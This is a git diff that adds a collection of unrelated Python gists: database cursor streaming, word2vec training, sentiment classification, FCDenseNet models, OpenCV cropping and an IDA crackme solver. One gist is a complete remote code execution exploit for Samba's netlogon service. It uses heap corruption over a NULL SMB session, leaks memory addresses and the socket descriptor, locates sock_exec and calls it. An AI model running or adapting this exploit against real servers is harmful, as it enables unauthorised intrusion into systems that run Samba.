def some_specific_report(cls, limit=2000000): + sql = "SELECT * from gigantic_table limit %s" + return cls.fetch(sql, [limit]) + + +# ------------ usage -------------- +# this can churn through insanely huge result sets +# and memory usage will remain extremely low +for row in Report.some_specific_report(100000): + # write to disk and flush + # with this generator + # data is accessed via row[INDEX] or row['COLUMN_NAME'] + print row + + + +""" ____ PostgreSQL log verification ____ +2015-04-22 12:24:08 EDT LOG: statement: BEGIN +2015-04-22 12:24:08 EDT LOG: statement: SET TIME ZONE 'US/Pacific' +2015-04-22 12:24:08 EDT LOG: statement: DECLARE "cur_fa30e88f84" CURSOR WITHOUT HOLD FOR SELECT * from gigantic_table limit 100000 +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: FETCH FORWARD 100 FROM "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: CLOSE "cur_fa30e88f84" +2015-04-22 12:24:08 EDT LOG: statement: COMMIT +""" \ No newline at end of file diff --git a/hard-gists/03de5c4c21138da5c29d/._snippet.py b/hard-gists/03de5c4c21138da5c29d/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K opts.summary_interval: + summary_str = self._session.run(summary_op) + summary_writer.add_summary(summary_str, step) + last_summary_time = now + if now - last_checkpoint_time > opts.checkpoint_interval: + self.saver.save(self._session, + opts.save_path + "model", + global_step=step.astype(int)) + last_checkpoint_time = now + if epoch != initial_epoch: + break + + for t in workers: + t.join() + + return epoch + + def _predict(self, analogy): + """Predict the top 4 answers for analogy questions.""" + idx, = self._session.run([self._analogy_pred_idx], { + self._analogy_a: analogy[:, 0], + self._analogy_b: analogy[:, 1], + self._analogy_c: analogy[:, 2] + }) + return idx + + def eval(self): + """Evaluate analogy questions and reports accuracy.""" + + # How many questions we get right at precision@1. + correct = 0 + + total = self._analogy_questions.shape[0] + start = 0 + while start < total: + limit = start + 2500 + sub = self._analogy_questions[start:limit, :] + idx = self._predict(sub) + start = limit + for question in xrange(sub.shape[0]): + for j in xrange(4): + if idx[question, j] == sub[question, 3]: + # Bingo! We predicted correctly. E.g., [italy, rome, france, paris]. + correct += 1 + break + elif idx[question, j] in sub[question, :3]: + # We need to skip words already in the question. + continue + else: + # The correct label is not the precision@1 + break + print() + print("Eval %4d/%d accuracy = %4.1f%%" % (correct, total, + correct * 100.0 / total)) + + def analogy(self, w0, w1, w2): + """Predict word w3 as in w0:w1 vs w2:w3.""" + wid = np.array([[self._word2id.get(w, 0) for w in [w0, w1, w2]]]) + idx = self._predict(wid) + for c in [self._id2word[i] for i in idx[0, :]]: + if c not in [w0, w1, w2]: + return c + return "unknown" + + def nearby(self, words, num=20): + """Prints out nearby words given a list of words.""" + ids = np.array([self._word2id.get(x, 0) for x in words]) + vals, idx = self._session.run( + [self._nearby_val, self._nearby_idx], {self._nearby_word: ids}) + for i in xrange(len(words)): + print("\n%s\n=====================================" % (words[i])) + for (neighbor, distance) in zip(idx[i, :num], vals[i, :num]): + print("%-20s %6.4f" % (self._id2word[neighbor], distance)) + + def embeddings(self): + return self._emb + +def _start_shell(local_ns=None): + # An interactive shell is useful for debugging/development. + import IPython + user_ns = {} + if local_ns: + user_ns.update(local_ns) + user_ns.update(globals()) + IPython.start_ipython(argv=[], user_ns=user_ns) + +def use(opts): + opts = Options() + with tf.Graph().as_default(), tf.Session() as session: + model = Word2Vec(opts, session) + # Perform a final save. + model.saver.restore(session, + os.path.join(opts.save_path + "/model.ckpt")) + if FLAGS.interactive: + # E.g., + # [0]: model.analogy('france', 'paris', 'russia') + # [1]: model.nearby(['proton', 'elephant', 'maxwell']) + _start_shell(locals()) + +def train(opts): + with tf.Graph().as_default(), tf.Session() as session: + model = Word2Vec(opts, session) + for _ in xrange(opts.epochs_to_train): + model.train() # Process one epoch + model.eval() # Eval analogies. + # Perform a final save. + model.saver.save(session, + os.path.join(opts.save_path, "model.ckpt"), + global_step=model.global_step) + if FLAGS.interactive: + # E.g., + # [0]: model.analogy('france', 'paris', 'russia') + # [1]: model.nearby(['proton', 'elephant', 'maxwell']) + _start_shell(locals()) + +def main(_): + opts = Options() + if FLAGS.use: + use(opts) + elif not FLAGS.train_data or not FLAGS.eval_data or not FLAGS.save_path: + """Train a word2vec model.""" + print("--train_data --eval_data and --save_path must be specified.") + sys.exit(1) + else: + train(opts) + +if __name__ == "__main__": + tf.app.run() diff --git a/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py b/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K15} {:0.4f}{: >15}".format(cp, fnp, cn, fnn) + ) + + return "\n".join(output) + + +if __name__ == "__main__": + PATH = "model.pickle" + + if not os.path.exists(PATH): + # Time to build the model + from nltk.corpus import movie_reviews as reviews + + X = [reviews.raw(fileid) for fileid in reviews.fileids()] + y = [reviews.categories(fileid)[0] for fileid in reviews.fileids()] + + model = build_and_evaluate(X,y, outpath=PATH) + + else: + with open(PATH, 'rb') as f: + model = pickle.load(f) + + print(show_most_informative_features(model)) diff --git a/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 0: + layers.append(nn.Dropout(drop_rate)) + layers.append(nn.MaxPool2d(2)) + return nn.Sequential(*layers) + + +def fcdensenet_tiny(drop_rate=0): + return FCDenseNet(2, 6, drop_rate=drop_rate) + + +def fcdensenet56_nodrop(): + return FCDenseNet(4, 12, drop_rate=0) + + +def fcdensenet56(drop_rate=0.2): + return FCDenseNet(4, 12, drop_rate=drop_rate) + + +def fcdensenet67(drop_rate=0.2): + return FCDenseNet(5, 16, drop_rate=drop_rate) + + +def fcdensenet103(drop_rate=0.2): + return FCDenseNet([4, 5, 7, 10, 12, 15, 12, 10, 7, 5, 4], 16, + drop_rate=drop_rate) + + +def fcdensenet103_nodrop(drop_rate=0): + return FCDenseNet([4, 5, 7, 10, 12, 15, 12, 10, 7, 5, 4], 16, + drop_rate=drop_rate) \ No newline at end of file diff --git a/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py b/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^Kin_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes) + - this might not be allocated here because its size might fit in freed hole + - all fragment should be same size to prevent talloc_realloc() changed pdu.data size + - so last fragment should be padded + - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes) + - this might not be allocated here because its size might fit in freed hole + - p->in_data.data.data. the size is our netlogon data + - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes) + - this data is allocated by realloc(), grew by each fragment. so this memory + block is not allocated by mmapped even the size is very big. +- pool layout for interested data + - r->out offset from pool (talloc header) is 0x13c0 + - r->out.return_authenticator offset from pool is 0x13c0+0x18 + - overwrite this (with link unlink) to leak info in ServerPasswordSet response + - smb_request offset from pool (talloc header) is 0x11a0 + - smb_request.sconn offset from pool is 0x11a0+0x3c + - socket fd is at smb_request.sconn address (first struct member) +- more shared folder in configuration, more freed heap holes + - only if there is no or one shared, many data might be unexpected allocated after pool. + have to get that extra offset or bruteforce it + + +More exploitation detail in code (comment) ;) +""" + +import sys +import time +from struct import pack,unpack +import argparse + +import impacket +from impacket.dcerpc.v5 import transport, nrpc +from impacket.dcerpc.v5.ndr import NDRCALL +from impacket.dcerpc.v5.dtypes import WSTR + + +class Requester: + """ + put all smb request stuff into class. help my editor folding them + """ + + # impacket does not implement NetrServerPasswordSet + # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) + class NetrServerPasswordSet(NDRCALL): + opnum = 6 + structure = ( + ('PrimaryName',nrpc.PLOGONSRV_HANDLE), + ('AccountName',WSTR), + ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ('ComputerName',WSTR), + ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), + ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ) + # response is authenticator (8 bytes) and error code (4 bytes) + + # size of each field in sent packet + req_server_handle_size = 16 + req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null + req_sec_type_size = 2 + req_computer_size = 4 + 4 + 4 + 2 + req_authenticator_size = 8 + 2 + 4 + req_new_pwd_size = 16 + req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size + + samba_rpc_fragment_size = 4280 + netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size + + def __init__(self): + self.target = None + self.dce = None + + sessionKey = '\x00'*16 + # prepare ServerPasswordSet request + authenticator = nrpc.NETLOGON_AUTHENTICATOR() + authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) + authenticator['Timestamp'] = 10 + + uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() + uasNewPass['Data'] = '\x00'*16 + + self.serverName = nrpc.PLOGONSRV_HANDLE() + # ReferentID field of PrimaryName controls the uninitialized value of creds + self.serverName.fields['ReferentID'] = 0 + + self.accountName = WSTR() + + request = Requester.NetrServerPasswordSet() + request['PrimaryName'] = self.serverName + request['AccountName'] = self.accountName + request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel + request['ComputerName'] = '\x00' + request['Authenticator'] = authenticator + request['UasNewPassword'] = uasNewPass + self.request = request + + def set_target(self, target): + self.target = target + + def set_payload(self, s, pad_to_size=0): + if pad_to_size > 0: + s += '\x00'*(pad_to_size-len(s)) + pad_size = 0 + if len(s) < (16*1024+1): + ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size + if ofsize > 0: + pad_size = self.netlogon_data_fragment_size - ofsize + + self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00' + self.accountName.fields['MaximumCount'] = None + self.accountName.fields['ActualCount'] = None + self.accountName.data = None # force recompute + + set_accountNameData = set_payload + + def get_dce(self): + if self.dce is None or self.dce.lostconn: + rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target) + rpctransport.set_credentials('','') # NULL session + rpctransport.set_dport(445) + # force to 'NT LM 0.12' only + rpctransport.preferred_dialect('NT LM 0.12') + + self.dce = rpctransport.get_dce_rpc() + self.dce.connect() + self.dce.bind(nrpc.MSRPC_UUID_NRPC) + self.dce.lostconn = False + return self.dce + + def get_socket(self): + return self.dce.get_rpc_transport().get_socket() + + def force_dce_disconnect(self): + if not (self.dce is None or self.dce.lostconn): + self.get_socket().close() + self.dce.lostconn = True + + def request_addr(self, addr): + self.serverName.fields['ReferentID'] = addr + + dce = self.get_dce() + try: + dce.call(self.request.opnum, self.request) + answer = dce.recv() + return unpack("flags & TALLOC_FLAG_LOOP)) { + /* we have a free loop - stop looping */ + return 0; + } + """ + global fake_chunk_find_heap + payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap)) + set_payload(payload) + addr_step = payload_size + addr = start_addr + i = 0 + while addr > stop_addr: + if i == 16: + print(" [*]trying addr: {:x}".format(addr)) + i = 0 + + if request_check_valid_addr(addr): + return addr + if first: + # first time, the last 16 bit is still do not know + # have to do extra check + if request_check_valid_addr(addr+0x10): + return addr+0x10 + addr -= addr_step + i += 1 + return None + +def find_valid_heap_exact_addr(addr, payload_size): + global fake_chunk_find_heap + fake_size = payload_size // 2 + while fake_size >= len(fake_chunk_find_heap): + payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap)) + set_payload(payload, payload_size) + if not request_check_valid_addr(addr): + addr -= fake_size + fake_size = fake_size // 2 + + set_payload('\x00'*16 + pack("= target_payload_size: + force_dce_disconnect() + found_addr = None + for i in range(3): + found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None) + if found_addr is not None: + break + if found_addr is None: + # failed + good_addr = None + break + good_addr = found_addr + print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr)) + start_addr = good_addr + stop_addr = good_addr - payload_size + 0x20 + payload_size //= 2 + + if good_addr is not None: + # try 3 times to find exact address. if address cannot be found, assume + # minimizing payload size is not correct. start minimizing again + for i in range(3): + heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size) + if heap_addr != 0: + break + force_dce_disconnect() + + if heap_addr == 0: + print(' [-] failed to find payload adress') + # start from last good address + some offset + start_addr = (good_addr + 0x10000) & 0xffff0000 + print('[*] bruteforcing heap adress again from {:x}'.format(start_addr)) + + payload_addr = heap_addr - len(fake_chunk_find_heap) + print(" [+] found payload addr: {:x}".format(payload_addr)) + return payload_addr + + +######## +# leak info +######## + +def addr2utf_prefix(addr): + def is_badchar(v): + return (v >= 0xd8) and (v <= 0xdf) + + prefix = 0 # safe + if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff): + prefix |= 2 # cannot have prefix + if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff): + prefix |= 1 # must have prefix + return prefix + +def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False): + """ + Note: + - if next_addr and prev_addr are not zero, they must be writable address + because of below code in _talloc_free_internal() + if (tc->prev) tc->prev->next = tc->next; + if (tc->next) tc->next->prev = tc->prev; + """ + # Note: U+D800 to U+DFFF is reserved (also bad char for samba) + # check if '\x00' is needed to avoid utf16 badchar + prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr) + if prefix_len == 3: + return None # cannot avoid badchar + if prefix_len == 2: + prefix_len = 0 + + fake_chunk_leak_info = pack(" wrong answer + force_dce_disconnect() # heap is corrupted, disconnect it + + return answers + +def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True): + # leak by replace r->out.return_authenticator pointer + # Note: because leak_addr[4:8] will be replaced with r_out_addr + # only answers[0] and answers[2] are leaked + return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry) + +def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True): + # leak by replace r->out.return_authenticator pointer + # Note: leak_addr[0:4] will be replaced with r_out_addr + # only answers[1] and answers[2] are leaked + return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry) + +def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr): + # leak name field ('uint8_t') in found heap chunk + # do not retry this leak, because r_out_addr is guessed + answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False) + if answers is None: + return None + if answers[2] != TALLOC_MAGIC: + force_dce_disconnect() + return None + + return answers[0] + +def leak_info_find_offset(info): + # offset from pool to payload still does not know + print("[*] guessing 'r' offset and leaking 'uint8_t' address ...") + chunk_addr = info['chunk_addr'] + uint8t_addr = None + r_addr = None + r_out_addr = None + while uint8t_addr is None: + # 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0 + # 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0 + # 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0 + # 0xad40 is extra offset when no share on debian + # 0x10d38 is extra offset when only [printers] is shared on debian + for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38): + r_addr = chunk_addr - offset + # 0x18 is out.authenticator offset + r_out_addr = r_addr + 0x18 + print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr)) + + uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr) + if uint8t_addr is not None: + print(" [*] success") + break + print(" [-] failed") + if uint8t_addr is None: + return False + + info['uint8t_addr'] = uint8t_addr + info['r_addr'] = r_addr + info['r_out_addr'] = r_out_addr + info['pool_addr'] = r_addr - 0x13c0 + + print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr'])) + print(" [+] pool addr: {:x}".format(info['pool_addr'])) + + return True + +def leak_sock_fd(info): + # leak sock fd from + # smb_request->sconn->sock + # (offset: ->0x3c ->0x0 ) + print("[*] leaking socket fd ...") + info['smb_request_addr'] = info['pool_addr']+0x11a0 + print(" [*] smb request addr: {:x}".format(info['smb_request_addr'])) + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4) + if answers is None: + print(' [-] cannot leak sconn_addr address :(') + return None + force_dce_disconnect() # heap is corrupted, disconnect it + sconn_addr = answers[2] + info['sconn_addr'] = sconn_addr + print(' [+] sconn addr: {:x}'.format(sconn_addr)) + + # write in padding of chunk, no need to disconnect + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr) + if answers is None: + print('cannot leak sock_fd address :(') + return None + sock_fd = answers[1] + print(' [+] sock fd: {:d}'.format(sock_fd)) + info['sock_fd'] = sock_fd + return sock_fd + +def leak_talloc_pop_addr(info): + # leak destructor talloc_pop() address + # overwrite name field, no need to disconnect + print('[*] leaking talloc_pop address') + answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14) + if answers is None: + print(' [-] cannot leak talloc_pop() address :(') + return None + if answers[2] != 0x2010: # chunk size must be 0x2010 + print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(') + return None + talloc_pop_addr = answers[0] + print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr)) + info['talloc_pop_addr'] = talloc_pop_addr + return talloc_pop_addr + +def leak_smbd_server_connection_handler_addr(info): + # leak address from + # smbd_server_connection.smb1->fde ->handler + # (offset: ->0x9c->0x14 ) + # MUST NOT disconnect after getting smb1_fd_event address + print('[*] leaking smbd_server_connection_handler address') + def real_leak_conn_handler_addr(info): + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c) + if answers is None: + print(' [-] cannot leak smb1_fd_event address :(') + return None + smb1_fd_event_addr = answers[1] + print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr)) + + answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14) + if answers is None: + print(' [-] cannot leak smbd_server_connection_handler address :(') + return None + force_dce_disconnect() # heap is corrupted, disconnect it + smbd_server_connection_handler_addr = answers[0] + diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr + if diff > 0x2000000 or diff < 0: + print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) + smbd_server_connection_handler_addr = None + return smbd_server_connection_handler_addr + + smbd_server_connection_handler_addr = None + while smbd_server_connection_handler_addr is None: + smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info) + + print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr)) + info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr + + return smbd_server_connection_handler_addr + +def find_smbd_base_addr(info): + # estimate smbd_addr from talloc_pop + if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0: + # code has no alignment + start_addr = info['smbd_server_connection_handler_addr'] - 0x124000 + else: + start_addr = info['smbd_server_connection_handler_addr'] - 0x130000 + start_addr = start_addr & 0xfffff000 + stop_addr = start_addr - 0x20000 + + print('[*] finding smbd loaded addr ...') + while True: + smbd_addr = start_addr + while smbd_addr >= stop_addr: + if addr2utf_prefix(smbd_addr-8) == 3: + # smbd_addr is 0xb?d?e000 + test_addr = smbd_addr - 0x800 - 4 + else: + test_addr = smbd_addr - 8 + # test writable on test_addr + answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False) + if answers is not None: + break + smbd_addr -= 0x1000 # try prev page + if smbd_addr > stop_addr: + break + print(' [-] failed. try again.') + + info['smbd_addr'] = smbd_addr + print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr)) + +def dump_mem_call_addr(info, target_addr): + # leak pipes_struct address from + # smbd_server_connection->chain_fsp->fake_file_handle->private_data + # (offset: ->0x48 ->0xd4 ->0x4 ) + # Note: + # - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed + # - target_addr will be replaced with current_pdu_sent address + # check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c + print(' [*] overwrite current_pdu_sent for dumping memory ...') + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48) + if answers is None: + print(' [-] cannot leak chain_fsp address :(') + return False + chain_fsp_addr = answers[1] + print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr)) + + answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False) + if answers is None: + print(' [-] cannot leak fake_file_handle address :(') + return False + fake_file_handle_addr = answers[0] + print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr)) + + answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False) + if answers is None: + print(' [-] cannot leak pipes_struct address :(') + return False + pipes_struct_addr = answers[2] + print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr)) + + current_pdu_sent_addr = pipes_struct_addr+0x84 + print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr)) + # change pipes->out_data.current_pdu_sent to dump memory + return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True) + +def dump_smbd_find_bininfo(info): + def recv_till_string(data, s): + pos = len(data) + while True: + data += force_recv() + if len(data) == pos: + print('no more data !!!') + return None + p = data.find(s, pos-len(s)) + if p != -1: + return (data, p) + pos = len(data) + return None + + def lookup_dynsym(dynsym, name_offset): + addr = 0 + i = 0 + offset_str = pack(" 0: + if mem[pos:pos+16] == '\x00'*16: + break + pos -= 16 # sym entry size is 16 bytes + if pos <= 0: + print(' [-] found wrong .dynsym section at {:x}'.format(pos)) + return None + dynsym_offset = pos + print(' [*] found .dynsym section at {:x}'.format(dynsym_offset)) + dynsym = mem[dynsym_offset:] + + # find sock_exec + dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00') + print(' [*] found sock_exec string at {:x}'.format(pos+1)) + sock_exec_offset = lookup_dynsym(dynsym, pos+1) + print(' [*] sock_exec offset {:x}'.format(sock_exec_offset)) + + #info['mem'] = mem # smbd data before .dynsym section + info['dynsym'] = dynsym + info['dynstr'] = dynstr # incomplete section + info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset + print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr'])) + + # Note: can continuing memory dump to find ROP + + force_dce_disconnect() + +######## +# code execution +######## +def call_sock_exec(info): + prefix_len = addr2utf_prefix(info['sock_exec_addr']) + if prefix_len == 3: + return False # too bad... cannot call + if prefix_len == 2: + prefix_len = 0 + fake_talloc_chunk_exec = pack("$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K ' % os.path.basename(sys.argv[0])) + main(sys.argv[1], sys.argv[2], skip_ad=True) diff --git a/hard-gists/054023c4fca5369ffdb2/._snippet.py b/hard-gists/054023c4fca5369ffdb2/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K 15 else y + 15 + cv2.putText(clone, str(i), (startX, startY), + cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2) + roi = image[y:y + h, x:x + w] + cv2.imshow("ROI", roi) + cv2.imwrite(fname, roi) + cv2.imshow("Image", clone) + cv2.waitKey(0) diff --git a/hard-gists/05aadb969e43788593d3/._snippet.py b/hard-gists/05aadb969e43788593d3/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K> (n % bits) | (mask_bits << ((bits - n) % bits))) + + +def rol(x, n, bits = 32): + return ror(x, (bits - n) % bits, bits=bits) + + +def mask(c): + return c & 0xFF + + +# these functions do the inverse of their lowercase counterpart +# so by applying them in reverse, then we can solve the simple constraint + +def ADD(c, x): + return mask(c - x) + + +def SUB(c, x): + return mask(c + x) + + +def XOR(c, x): + return mask(c ^ x) + + +def ROL(c, x): + return mask(ror(c, x, 8)) + + +def ROR(c, x): + return mask(rol(c, x, 8)) + + +def get_handler(mnem): + return { + "add": ADD, + "sub": SUB, + "xor": XOR, + "ror": ROR, + "rol": ROL}[mnem] + + + +START = 0x1C + + +def solve_one_character(ea): + c = GetOperandValue(ea, 1) + print "START", hex(c) + ea = PrevHead(ea) + + while "[rax]" in GetOpnd(ea, 0): + print(GetMnem(ea).upper(), hex(GetOperandValue(ea, 1))) + c = get_handler(GetMnem(ea))(c, GetOperandValue(ea, 1)) + ea = PrevHead(ea) + print "solved: " + chr(c) + return c + + +def main(): + ret = "" + ea = scan_forwards(START, mnem="cmp") + while ea: + ret += chr(solve_one_character(ea)) + try: + ea = scan_forwards(ea, mnem="cmp") + except RuntimeError: + print(ret) + return + + + +if __name__ == "__main__": + main() diff --git a/hard-gists/05bec6966701f720c3aa/._snippet.py b/hard-gists/05bec6966701f720c3aa/._snippet.py new file mode 100644 index 0000000000000000000000000000000000000000..cd8af967d5023a3632b4db5865eb7688c032828f GIT binary patch literal 163 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S oBE&_L^K$Vqox1Ojhs@R)|o50+1L3ClDI}aUl?c_=|y<2;dkJ5(HHS(lG;wxzV&S 